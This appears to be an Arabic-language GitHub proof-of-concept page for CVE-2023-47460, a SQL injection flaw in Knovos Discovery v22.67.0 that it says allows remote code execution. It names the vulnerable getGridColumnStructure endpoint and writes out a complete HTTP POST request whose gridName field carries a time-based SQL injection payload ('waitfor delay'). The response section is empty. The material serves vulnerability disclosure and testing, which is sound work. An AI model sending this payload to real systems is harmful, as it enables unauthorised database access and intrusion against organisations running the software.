aleksey-vi/cve-2023-47460استغلال إثبات المفهوم لحقن SQL في Knovos Discovery v22.67.0، يوضح تنفيذ التعليمات البرمجية عن بُعد عبر نقطة نهاية getGridColumnStructure.
ثغرة حقن SQL في Knovos Discovery الإصدار 22.67.0 تسمح لمهاجم عن بعد بتنفيذ كود عشوائي عبر المكون /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure
حقن SQL
Knovos Discovery
الإصدار 22.67.0 - الإصدار 22.67.0
/DiscoveryProcess/Service/Admin.svc/getGridColumnStructure
عن بعد
صحيح
صحيح
مستخدم مصرح به
الطلب:
POST /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure?caseMappingId=*** HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 73
Connection: close
{
"gridName":"Inventory-grid' waitfor delay'0:0:50'--",
"uID":"10"
}
الاستجابة:
